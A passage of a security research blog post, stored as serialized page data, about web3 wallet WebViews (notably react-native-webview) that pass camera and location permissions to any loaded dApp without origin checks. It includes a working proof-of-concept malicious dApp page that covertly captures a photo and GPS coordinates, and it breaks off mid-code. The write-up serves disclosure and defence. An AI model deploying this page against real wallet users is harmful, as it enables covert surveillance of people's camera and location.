authorization.","2026-06-18T12:00:00.000Z",[12,13,155304],"nikolaos",{"src":155306,"width":96019,"height":12604},"/posts/insecure-webview-integrations/title.png",[18,130715,155308],"webview",{"type":20,"children":155310,"toc":157619},[155311,155316,155321,155327,155332,155337,155342,155348,155353,155359,155381,155394,155414,155428,155434,155448,155456,155461,155467,155472,155481,155502,155646,155651,155657,155662,155667,155681,155685,155690,155708,157136,157140,157145,157157,157166,157171,157177,157199,157207,157212,157218,157223,157241,157246,157252,157265,157547,157575,157588,157593,157606,157610,157615],{"type":23,"tag":24,"props":155312,"children":155313},{},[155314],{"type":28,"value":155315},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":23,"tag":24,"props":155317,"children":155318},{},[155319],{"type":28,"value":155320},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":23,"tag":34349,"props":155322,"children":155324},{"id":155323},"exploiting-mobile-webviews",[155325],{"type":28,"value":155326},"Exploiting Mobile WebViews",{"type":23,"tag":24,"props":155328,"children":155329},{},[155330],{"type":28,"value":155331},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":23,"tag":24,"props":155333,"children":155334},{},[155335],{"type":28,"value":155336},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":23,"tag":24,"props":155338,"children":155339},{},[155340],{"type":28,"value":155341},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":23,"tag":70,"props":155343,"children":155345},{"id":155344},"handling-webview-permissions",[155346],{"type":28,"value":155347},"Handling WebView permissions",{"type":23,"tag":24,"props":155349,"children":155350},{},[155351],{"type":28,"value":155352},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":23,"tag":82,"props":155354,"children":155356},{"id":155355},"android",[155357],{"type":28,"value":155358},"Android",{"type":23,"tag":24,"props":155360,"children":155361},{},[155362,155364,155371,155373,155379],{"type":28,"value":155363},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":23,"tag":92,"props":155365,"children":155368},{"href":155366,"rel":155367},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[96],[155369],{"type":28,"value":155370},"onPermissionRequest",{"type":28,"value":155372},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":23,"tag":56,"props":155374,"children":155376},{"className":155375},[],[155377],{"type":28,"value":155378},"PermissionRequest",{"type":28,"value":155380}," object where the WebView developers must decide whether to grant or deny it.",{"type":23,"tag":1909,"props":155382,"children":155383},{},[155384],{"type":23,"tag":24,"props":155385,"children":155386},{},[155387,155389,155392],{"type":28,"value":155388},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":23,"tag":504,"props":155390,"children":155391},{},[],{"type":28,"value":155393},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":23,"tag":24,"props":155395,"children":155396},{},[155397,155399,155405,155407,155413],{"type":28,"value":155398},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":23,"tag":56,"props":155400,"children":155402},{"className":155401},[],[155403],{"type":28,"value":155404},"getOrigin()",{"type":28,"value":155406}," and the requested permissions with ",{"type":23,"tag":56,"props":155408,"children":155410},{"className":155409},[],[155411],{"type":28,"value":155412},"getResources()",{"type":28,"value":320},{"type":23,"tag":24,"props":155415,"children":155416},{},[155417,155419,155426],{"type":28,"value":155418},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":23,"tag":92,"props":155420,"children":155423},{"href":155421,"rel":155422},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[96],[155424],{"type":28,"value":155425},"webview_shell",{"type":28,"value":155427},". In this instance, no origin checks are performed.",{"type":23,"tag":82,"props":155429,"children":155431},{"id":155430},"ios",[155432],{"type":28,"value":155433},"iOS",{"type":23,"tag":24,"props":155435,"children":155436},{},[155437,155439,155446],{"type":28,"value":155438},"On the contrary, iOS ",{"type":23,"tag":92,"props":155440,"children":155443},{"href":155441,"rel":155442},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[96],[155444],{"type":28,"value":155445},"documentation",{"type":28,"value":155447}," states that:",{"type":23,"tag":1909,"props":155449,"children":155450},{},[155451],{"type":23,"tag":24,"props":155452,"children":155453},{},[155454],{"type":28,"value":155455},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":23,"tag":24,"props":155457,"children":155458},{},[155459],{"type":28,"value":155460},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":23,"tag":70,"props":155462,"children":155464},{"id":155463},"the-shortcomings-of-webview-implementations",[155465],{"type":28,"value":155466},"The shortcomings of WebView implementations",{"type":23,"tag":24,"props":155468,"children":155469},{},[155470],{"type":28,"value":155471},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":23,"tag":30327,"props":155473,"children":155474},{"style":30329},[155475],{"type":23,"tag":126,"props":155476,"children":155480},{"src":155477,"alt":155478,"style":155479},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":155482,"children":155483},{},[155484,155486,155492,155494,155500],{"type":28,"value":155485},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":23,"tag":56,"props":155487,"children":155489},{"className":155488},[],[155490],{"type":28,"value":155491},"react-native-webview",{"type":28,"value":155493},". If we take a look at how they handle a request that reaches the ",{"type":23,"tag":92,"props":155495,"children":155498},{"href":155496,"rel":155497},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[96],[155499],{"type":28,"value":155370},{"type":28,"value":155501}," method, we see a similar pattern.",{"type":23,"tag":494,"props":155503,"children":155507},{"className":155504,"code":155505,"language":155506,"meta":7,"style":7},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[155508],{"type":23,"tag":56,"props":155509,"children":155510},{"__ignoreMap":7},[155511,155519,155548,155608,155628,155639],{"type":23,"tag":504,"props":155512,"children":155513},{"class":506,"line":507},[155514],{"type":23,"tag":504,"props":155515,"children":155516},{"style":1106},[155517],{"type":28,"value":155518},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":23,"tag":504,"props":155520,"children":155521},{"class":506,"line":540},[155522,155526,155530,155535,155539,155544],{"type":23,"tag":504,"props":155523,"children":155524},{"style":544},[155525],{"type":28,"value":14560},{"type":23,"tag":504,"props":155527,"children":155528},{"style":523},[155529],{"type":28,"value":801},{"type":23,"tag":504,"props":155531,"children":155532},{"style":529},[155533],{"type":28,"value":155534},"requestedAndroidPermissions",{"type":23,"tag":504,"props":155536,"children":155537},{"style":523},[155538],{"type":28,"value":320},{"type":23,"tag":504,"props":155540,"children":155541},{"style":517},[155542],{"type":28,"value":155543},"isEmpty",{"type":23,"tag":504,"props":155545,"children":155546},{"style":523},[155547],{"type":28,"value":90772},{"type":23,"tag":504,"props":155549,"children":155550},{"class":506,"line":555},[155551,155556,155560,155565,155569,155574,155578,155583,155587,155591,155596,155600,155604],{"type":23,"tag":504,"props":155552,"children":155553},{"style":529},[155554],{"type":28,"value":155555},"    request",{"type":23,"tag":504,"props":155557,"children":155558},{"style":523},[155559],{"type":28,"value":320},{"type":23,"tag":504,"props":155561,"children":155562},{"style":517},[155563],{"type":28,"value":155564},"grant",{"type":23,"tag":504,"props":155566,"children":155567},{"style":523},[155568],{"type":28,"value":526},{"type":23,"tag":504,"props":155570,"children":155571},{"style":529},[155572],{"type":28,"value":155573},"grantedPermissions",{"type":23,"tag":504,"props":155575,"children":155576},{"style":523},[155577],{"type":28,"value":320},{"type":23,"tag":504,"props":155579,"children":155580},{"style":517},[155581],{"type":28,"value":155582},"toArray",{"type":23,"tag":504,"props":155584,"children":155585},{"style":523},[155586],{"type":28,"value":526},{"type":23,"tag":504,"props":155588,"children":155589},{"style":544},[155590],{"type":28,"value":14102},{"type":23,"tag":504,"props":155592,"children":155593},{"style":1012},[155594],{"type":28,"value":155595}," String",{"type":23,"tag":504,"props":155597,"children":155598},{"style":523},[155599],{"type":28,"value":2711},{"type":23,"tag":504,"props":155601,"children":155602},{"style":1440},[155603],{"type":28,"value":3001},{"type":23,"tag":504,"props":155605,"children":155606},{"style":523},[155607],{"type":28,"value":102263},{"type":23,"tag":504,"props":155609,"children":155610},{"class":506,"line":633},[155611,155616,155620,155624],{"type":23,"tag":504,"props":155612,"children":155613},{"style":523},[155614],{"type":28,"value":155615},"    grantedPermissions ",{"type":23,"tag":504,"props":155617,"children":155618},{"style":598},[155619],{"type":28,"value":601},{"type":23,"tag":504,"props":155621,"children":155622},{"style":511},[155623],{"type":28,"value":861},{"type":23,"tag":504,"props":155625,"children":155626},{"style":523},[155627],{"type":28,"value":866},{"type":23,"tag":504,"props":155629,"children":155630},{"class":506,"line":687},[155631,155635],{"type":23,"tag":504,"props":155632,"children":155633},{"style":544},[155634],{"type":28,"value":15968},{"type":23,"tag":504,"props":155636,"children":155637},{"style":523},[155638],{"type":28,"value":866},{"type":23,"tag":504,"props":155640,"children":155641},{"class":506,"line":736},[155642],{"type":23,"tag":504,"props":155643,"children":155644},{"style":523},[155645],{"type":28,"value":884},{"type":23,"tag":24,"props":155647,"children":155648},{},[155649],{"type":28,"value":155650},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":23,"tag":82,"props":155652,"children":155654},{"id":155653},"real-world-exploitation",[155655],{"type":28,"value":155656},"Real world exploitation",{"type":23,"tag":24,"props":155658,"children":155659},{},[155660],{"type":28,"value":155661},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":23,"tag":24,"props":155663,"children":155664},{},[155665],{"type":28,"value":155666},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":23,"tag":24,"props":155668,"children":155669},{},[155670,155672,155679],{"type":28,"value":155671},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":23,"tag":92,"props":155673,"children":155676},{"href":155674,"rel":155675},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[96],[155677],{"type":28,"value":155678},"Justson",{"type":28,"value":155680},", used by a popular wallet in the Stellar ecosystem.",{"type":23,"tag":17874,"props":155682,"children":155683},{"id":38480},[155684],{"type":28,"value":33805},{"type":23,"tag":24,"props":155686,"children":155687},{},[155688],{"type":28,"value":155689},"In order to exploit this issue, we assume the following preconditions:",{"type":23,"tag":41,"props":155691,"children":155692},{},[155693,155698,155703],{"type":23,"tag":45,"props":155694,"children":155695},{},[155696],{"type":28,"value":155697},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":23,"tag":45,"props":155699,"children":155700},{},[155701],{"type":28,"value":155702},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":23,"tag":45,"props":155704,"children":155705},{},[155706],{"type":28,"value":155707},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":23,"tag":494,"props":155709,"children":155711},{"className":49001,"code":155710,"language":31360,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    \u003C/script>\n\u003C/body>\n\u003C/html>\n",[155712],{"type":23,"tag":56,"props":155713,"children":155714},{"__ignoreMap":7},[155715,155735,155750,155766,155796,155819,155834,155849,155881,155927,155963,155991,156006,156052,156098,156106,156174,156202,156217,156225,156232,156252,156312,156353,156382,156423,156430,156459,156497,156534,156541,156548,156581,156602,156609,156671,156727,156763,156809,156817,156824,156867,156900,157025,157058,157065,157072,157079,157091,157106,157121],{"type":23,"tag":504,"props":155716,"children":155717},{"class":506,"line":507},[155718,155722,155726,155731],{"type":23,"tag":504,"props":155719,"children":155720},{"style":31353},[155721],{"type":28,"value":33201},{"type":23,"tag":504,"props":155723,"children":155724},{"style":511},[155725],{"type":28,"value":33206},{"type":23,"tag":504,"props":155727,"children":155728},{"style":529},[155729],{"type":28,"value":155730}," html",{"type":23,"tag":504,"props":155732,"children":155733},{"style":31353},[155734],{"type":28,"value":4976},{"type":23,"tag":504,"props":155736,"children":155737},{"class":506,"line":540},[155738,155742,155746],{"type":23,"tag":504,"props":155739,"children":155740},{"style":31353},[155741],{"type":28,"value":4789},{"type":23,"tag":504,"props":155743,"children":155744},{"style":511},[155745],{"type":28,"value":31360},{"type":23,"tag":504,"props":155747,"children":155748},{"style":31353},[155749],{"type":28,"value":4976},{"type":23,"tag":504,"props":155751,"children":155752},{"class":506,"line":555},[155753,155757,155762],{"type":23,"tag":504,"props":155754,"children":155755},{"style":31353},[155756],{"type":28,"value":4789},{"type":23,"tag":504,"props":155758,"children":155759},{"style":511},[155760],{"type":28,"value":155761},"head",{"type":23,"tag":504,"props":155763,"children":155764},{"style":31353},[155765],{"type":28,"value":4976},{"type":23,"tag":504,"props":155767,"children":155768},{"class":506,"line":633},[155769,155773,155778,155783,155787,155792],{"type":23,"tag":504,"props":155770,"children":155771},{"style":31353},[155772],{"type":28,"value":31423},{"type":23,"tag":504,"props":155774,"children":155775},{"style":511},[155776],{"type":28,"value":155777},"meta",{"type":23,"tag":504,"props":155779,"children":155780},{"style":529},[155781],{"type":28,"value":155782}," charset",{"type":23,"tag":504,"props":155784,"children":155785},{"style":523},[155786],{"type":28,"value":601},{"type":23,"tag":504,"props":155788,"children":155789},{"style":622},[155790],{"type":28,"value":155791},"\"utf-8\"",{"type":23,"tag":504,"props":155793,"children":155794},{"style":31353},[155795],{"type":28,"value":4976},{"type":23,"tag":504,"props":155797,"children":155798},{"class":506,"line":687},[155799,155803,155807,155811,155815],{"type":23,"tag":504,"props":155800,"children":155801},{"style":31353},[155802],{"type":28,"value":31423},{"type":23,"tag":504,"props":155804,"children":155805},{"style":511},[155806],{"type":28,"value":33279},{"type":23,"tag":504,"props":155808,"children":155809},{"style":31353},[155810],{"type":28,"value":49045},{"type":23,"tag":504,"props":155812,"children":155813},{"style":511},[155814],{"type":28,"value":33279},{"type":23,"tag":504,"props":155816,"children":155817},{"style":31353},[155818],{"type":28,"value":4976},{"type":23,"tag":504,"props":155820,"children":155821},{"class":506,"line":736},[155822,155826,155830],{"type":23,"tag":504,"props":155823,"children":155824},{"style":31353},[155825],{"type":28,"value":31407},{"type":23,"tag":504,"props":155827,"children":155828},{"style":511},[155829],{"type":28,"value":155761},{"type":23,"tag":504,"props":155831,"children":155832},{"style":31353},[155833],{"type":28,"value":4976},{"type":23,"tag":504,"props":155835,"children":155836},{"class":506,"line":785},[155837,155841,155845],{"type":23,"tag":504,"props":155838,"children":155839},{"style":31353},[155840],{"type":28,"value":4789},{"type":23,"tag":504,"props":155842,"children":155843},{"style":511},[155844],{"type":28,"value":31377},{"type":23,"tag":504,"props":155846,"children":155847},{"style":31353},[155848],{"type":28,"value":4976},{"type":23,"tag":504,"props":155850,"children":155851},{"class":506,"line":813},[155852,155856,155860,155864,155869,155873,155877],{"type":23,"tag":504,"props":155853,"children":155854},{"style":31353},[155855],{"type":28,"value":31423},{"type":23,"tag":504,"props":155857,"children":155858},{"style":511},[155859],{"type":28,"value":70},{"type":23,"tag":504,"props":155861,"children":155862},{"style":31353},[155863],{"type":28,"value":9443},{"type":23,"tag":504,"props":155865,"children":155866},{"style":523},[155867],{"type":28,"value":155868},"Smile dApp :)",{"type":23,"tag":504,"props":155870,"children":155871},{"style":31353},[155872],{"type":28,"value":31407},{"type":23,"tag":504,"props":155874,"children":155875},{"style":511},[155876],{"type":28,"value":70},{"type":23,"tag":504,"props":155878,"children":155879},{"style":31353},[155880],{"type":28,"value":4976},{"type":23,"tag":504,"props":155882,"children":155883},{"class":506,"line":851},[155884,155888,155893,155897,155901,155906,155910,155915,155919,155923],{"type":23,"tag":504,"props":155885,"children":155886},{"style":31353},[155887],{"type":28,"value":31423},{"type":23,"tag":504,"props":155889,"children":155890},{"style":511},[155891],{"type":28,"value":155892},"button",{"type":23,"tag":504,"props":155894,"children":155895},{"style":529},[155896],{"type":28,"value":31433},{"type":23,"tag":504,"props":155898,"children":155899},{"style":523},[155900],{"type":28,"value":601},{"type":23,"tag":504,"props":155902,"children":155903},{"style":622},[155904],{"type":28,"value":155905},"\"connect\"",{"type":23,"tag":504,"props":155907,"children":155908},{"style":31353},[155909],{"type":28,"value":9443},{"type":23,"tag":504,"props":155911,"children":155912},{"style":523},[155913],{"type":28,"value":155914},"Connect your wallet!",{"type":23,"tag":504,"props":155916,"children":155917},{"style":31353},[155918],{"type":28,"value":31407},{"type":23,"tag":504,"props":155920,"children":155921},{"style":511},[155922],{"type":28,"value":155892},{"type":23,"tag":504,"props":155924,"children":155925},{"style":31353},[155926],{"type":28,"value":4976},{"type":23,"tag":504,"props":155928,"children":155929},{"class":506,"line":869},[155930,155934,155938,155942,155946,155951,155955,155959],{"type":23,"tag":504,"props":155931,"children":155932},{"style":31353},[155933],{"type":28,"value":31423},{"type":23,"tag":504,"props":155935,"children":155936},{"style":511},[155937],{"type":28,"value":494},{"type":23,"tag":504,"props":155939,"children":155940},{"style":529},[155941],{"type":28,"value":31433},{"type":23,"tag":504,"props":155943,"children":155944},{"style":523},[155945],{"type":28,"value":601},{"type":23,"tag":504,"props":155947,"children":155948},{"style":622},[155949],{"type":28,"value":155950},"\"gps\"",{"type":23,"tag":504,"props":155952,"children":155953},{"style":31353},[155954],{"type":28,"value":49045},{"type":23,"tag":504,"props":155956,"children":155957},{"style":511},[155958],{"type":28,"value":494},{"type":23,"tag":504,"props":155960,"children":155961},{"style":31353},[155962],{"type":28,"value":4976},{"type":23,"tag":504,"props":155964,"children":155965},{"class":506,"line":878},[155966,155970,155974,155978,155982,155987],{"type":23,"tag":504,"props":155967,"children":155968},{"style":31353},[155969],{"type":28,"value":31423},{"type":23,"tag":504,"props":155971,"children":155972},{"style":511},[155973],{"type":28,"value":126},{"type":23,"tag":504,"props":155975,"children":155976},{"style":529},[155977],{"type":28,"value":31433},{"type":23,"tag":504,"props":155979,"children":155980},{"style":523},[155981],{"type":28,"value":601},{"type":23,"tag":504,"props":155983,"children":155984},{"style":622},[155985],{"type":28,"value":155986},"\"pic\"",{"type":23,"tag":504,"props":155988,"children":155989},{"style":31353},[155990],{"type":28,"value":4976},{"type":23,"tag":504,"props":155992,"children":155993},{"class":506,"line":1221},[155994,155998,156002],{"type":23,"tag":504,"props":155995,"children":155996},{"style":31353},[155997],{"type":28,"value":31423},{"type":23,"tag":504,"props":155999,"children":156000},{"style":511},[156001],{"type":28,"value":31393},{"type":23,"tag":504,"props":156003,"children":156004},{"style":31353},[156005],{"type":28,"value":4976},{"type":23,"tag":504,"props":156007,"children":156008},{"class":506,"line":1276},[156009,156014,156018,156023,156027,156032,156036,156040,156044,156048],{"type":23,"tag":504,"props":156010,"children":156011},{"style":529},[156012],{"type":28,"value":156013},"        window",{"type":23,"tag":504,"props":156015,"children":156016},{"style":598},[156017],{"type":28,"value":320},{"type":23,"tag":504,"props":156019,"children":156020},{"style":517},[156021],{"type":28,"value":156022},"addEventListener",{"type":23,"tag":504,"props":156024,"children":156025},{"style":598},[156026],{"type":28,"value":526},{"type":23,"tag":504,"props":156028,"children":156029},{"style":622},[156030],{"type":28,"value":156031},"'unhandledrejection'",{"type":23,"tag":504,"props":156033,"children":156034},{"style":598},[156035],{"type":28,"value":576},{"type":23,"tag":504,"props":156037,"children":156038},{"style":511},[156039],{"type":28,"value":514},{"type":23,"tag":504,"props":156041,"children":156042},{"style":598},[156043],{"type":28,"value":801},{"type":23,"tag":504,"props":156045,"children":156046},{"style":529},[156047],{"type":28,"value":80879},{"type":23,"tag":504,"props":156049,"children":156050},{"style":598},[156051],{"type":28,"value":537},{"type":23,"tag":504,"props":156053,"children":156054},{"class":506,"line":1285},[156055,156060,156064,156069,156073,156077,156081,156086,156090,156094],{"type":23,"tag":504,"props":156056,"children":156057},{"style":517},[156058],{"type":28,"value":156059},"            alert",{"type":23,"tag":504,"props":156061,"children":156062},{"style":598},[156063],{"type":28,"value":526},{"type":23,"tag":504,"props":156065,"children":156066},{"style":622},[156067],{"type":28,"value":156068},"`Unhandled Promise Rejection: ",{"type":23,"tag":504,"props":156070,"children":156071},{"style":511},[156072],{"type":28,"value":1253},{"type":23,"tag":504,"props":156074,"children":156075},{"style":529},[156076],{"type":28,"value":80879},{"type":23,"tag":504,"props":156078,"children":156079},{"style":598},[156080],{"type":28,"value":320},{"type":23,"tag":504,"props":156082,"children":156083},{"style":529},[156084],{"type":28,"value":156085},"reason",{"type":23,"tag":504,"props":156087,"children":156088},{"style":511},[156089],{"type":28,"value":1263},{"type":23,"tag":504,"props":156091,"children":156092},{"style":622},[156093],{"type":28,"value":9363},{"type":23,"tag":504,"props":156095,"children":156096},{"style":598},[156097],{"type":28,"value":630},{"type":23,"tag":504,"props":156099,"children":156100},{"class":506,"line":1294},[156101],{"type":23,"tag":504,"props":156102,"children":156103},{"style":598},[156104],{"type":28,"value":156105},"        });\n",{"type":23,"tag":504,"props":156107,"children":156108},{"class":506,"line":1302},[156109,156113,156117,156121,156125,156129,156133,156137,156141,156145,156149,156153,156157,156162,156166,156170],{"type":23,"tag":504,"props":156110,"children":156111},{"style":529},[156112],{"type":28,"value":156013},{"type":23,"tag":504,"props":156114,"children":156115},{"style":598},[156116],{"type":28,"value":320},{"type":23,"tag":504,"props":156118,"children":156119},{"style":517},[156120],{"type":28,"value":31666},{"type":23,"tag":504,"props":156122,"children":156123},{"style":598},[156124],{"type":28,"value":31888},{"type":23,"tag":504,"props":156126,"children":156127},{"style":511},[156128],{"type":28,"value":514},{"type":23,"tag":504,"props":156130,"children":156131},{"style":598},[156132],{"type":28,"value":801},{"type":23,"tag":504,"props":156134,"children":156135},{"style":529},[156136],{"type":28,"value":56925},{"type":23,"tag":504,"props":156138,"children":156139},{"style":598},[156140],{"type":28,"value":576},{"type":23,"tag":504,"props":156142,"children":156143},{"style":529},[156144],{"type":28,"value":976},{"type":23,"tag":504,"props":156146,"children":156147},{"style":598},[156148],{"type":28,"value":576},{"type":23,"tag":504,"props":156150,"children":156151},{"style":529},[156152],{"type":28,"value":506},{"type":23,"tag":504,"props":156154,"children":156155},{"style":598},[156156],{"type":28,"value":576},{"type":23,"tag":504,"props":156158,"children":156159},{"style":529},[156160],{"type":28,"value":156161},"col",{"type":23,"tag":504,"props":156163,"children":156164},{"style":598},[156165],{"type":28,"value":576},{"type":23,"tag":504,"props":156167,"children":156168},{"style":529},[156169],{"type":28,"value":806},{"type":23,"tag":504,"props":156171,"children":156172},{"style":598},[156173],{"type":28,"value":537},{"type":23,"tag":504,"props":156175,"children":156176},{"class":506,"line":1311},[156177,156181,156185,156190,156194,156198],{"type":23,"tag":504,"props":156178,"children":156179},{"style":517},[156180],{"type":28,"value":156059},{"type":23,"tag":504,"props":156182,"children":156183},{"style":598},[156184],{"type":28,"value":526},{"type":23,"tag":504,"props":156186,"children":156187},{"style":622},[156188],{"type":28,"value":156189},"'onerror: '",{"type":23,"tag":504,"props":156191,"children":156192},{"style":598},[156193],{"type":28,"value":33672},{"type":23,"tag":504,"props":156195,"children":156196},{"style":529},[156197],{"type":28,"value":56925},{"type":23,"tag":504,"props":156199,"children":156200},{"style":598},[156201],{"type":28,"value":630},{"type":23,"tag":504,"props":156203,"children":156204},{"class":506,"line":1334},[156205,156209,156213],{"type":23,"tag":504,"props":156206,"children":156207},{"style":544},[156208],{"type":28,"value":77827},{"type":23,"tag":504,"props":156210,"children":156211},{"style":511},[156212],{"type":28,"value":8041},{"type":23,"tag":504,"props":156214,"children":156215},{"style":598},[156216],{"type":28,"value":866},{"type":23,"tag":504,"props":156218,"children":156219},{"class":506,"line":1370},[156220],{"type":23,"tag":504,"props":156221,"children":156222},{"style":598},[156223],{"type":28,"value":156224},"        };\n",{"type":23,"tag":504,"props":156226,"children":156227},{"class":506,"line":1384},[156228],{"type":23,"tag":504,"props":156229,"children":156230},{"emptyLinePlaceholder":16},[156231],{"type":28,"value":1038},{"type":23,"tag":504,"props":156233,"children":156234},{"class":506,"line":1392},[156235,156240,156244,156248],{"type":23,"tag":504,"props":156236,"children":156237},{"style":511},[156238],{"type":28,"value":156239},"        async",{"type":23,"tag":504,"props":156241,"children":156242},{"style":511},[156243],{"type":28,"value":37190},{"type":23,"tag":504,"props":156245,"children":156246},{"style":517},[156247],{"type":28,"value":89531},{"type":23,"tag":504,"props":156249,"children":156250},{"style":598},[156251],{"type":28,"value":1030},{"type":23,"tag":504,"props":156253,"children":156254},{"class":506,"line":1400},[156255,156259,156264,156268,156272,156277,156281,156286,156290,156295,156299,156304,156308],{"type":23,"tag":504,"props":156256,"children":156257},{"style":511},[156258],{"type":28,"value":149785},{"type":23,"tag":504,"props":156260,"children":156261},{"style":529},[156262],{"type":28,"value":156263}," stream",{"type":23,"tag":504,"props":156265,"children":156266},{"style":598},[156267],{"type":28,"value":31888},{"type":23,"tag":504,"props":156269,"children":156270},{"style":544},[156271],{"type":28,"value":31893},{"type":23,"tag":504,"props":156273,"children":156274},{"style":529},[156275],{"type":28,"value":156276}," navigator",{"type":23,"tag":504,"props":156278,"children":156279},{"style":598},[156280],{"type":28,"value":320},{"type":23,"tag":504,"props":156282,"children":156283},{"style":529},[156284],{"type":28,"value":156285},"mediaDevices",{"type":23,"tag":504,"props":156287,"children":156288},{"style":598},[156289],{"type":28,"value":320},{"type":23,"tag":504,"props":156291,"children":156292},{"style":517},[156293],{"type":28,"value":156294},"getUserMedia",{"type":23,"tag":504,"props":156296,"children":156297},{"style":598},[156298],{"type":28,"value":30476},{"type":23,"tag":504,"props":156300,"children":156301},{"style":529},[156302],{"type":28,"value":156303},"video:",{"type":23,"tag":504,"props":156305,"children":156306},{"style":511},[156307],{"type":28,"value":1750},{"type":23,"tag":504,"props":156309,"children":156310},{"style":598},[156311],{"type":28,"value":37811},{"type":23,"tag":504,"props":156313,"children":156314},{"class":506,"line":1422},[156315,156319,156324,156328,156332,156336,156340,156344,156349],{"type":23,"tag":504,"props":156316,"children":156317},{"style":511},[156318],{"type":28,"value":149785},{"type":23,"tag":504,"props":156320,"children":156321},{"style":529},[156322],{"type":28,"value":156323}," 